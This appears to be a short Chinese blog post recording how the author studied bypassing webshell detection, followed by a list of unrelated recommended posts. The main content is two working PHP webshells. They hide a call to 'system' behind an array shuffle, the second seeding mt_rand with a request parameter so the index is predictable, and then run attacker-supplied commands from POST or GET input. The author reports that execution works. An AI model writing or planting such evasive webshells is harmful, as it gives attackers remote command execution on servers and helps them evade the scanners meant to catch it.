记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
talen_hx29610 分钟前
《零基础入门Spark》学习笔记 Day 11
笔记·学习·spark
ZhiqianXia1 小时前
gem5 模拟器学习笔记(1):核心术语整理
笔记·学习
GHL2842710902 小时前
MCP学习
学习·ai
kali-Myon2 小时前
CTFshow-Pwn142-Off-by-One(堆块重叠)
c语言·数据结构·安全·gdb·pwn·ctf·
凌波粒2 小时前
D2L学习笔记:安装、张量与数据处理
笔记·python·学习·pandas
chools3 小时前
Java后端拥抱AI开发之个人学习路线 - - Spring AI【第一期】
java·人工智能·学习·spring·ai
忙什么果4 小时前
transformer学习笔记2
笔记·学习·transformer
ZhiqianXia4 小时前
Gem5 学习笔记(2) : Gem5 建模要点与基本思路
笔记·学习
Dxy12393102164 小时前
ECharts折线图入门学习:从基础到实战的完整指南
学习·信息可视化·echarts
一目Leizi4 小时前
Burp Suite实战:利用不同响应进行用户名枚举与密码爆破
运维·服务器·安全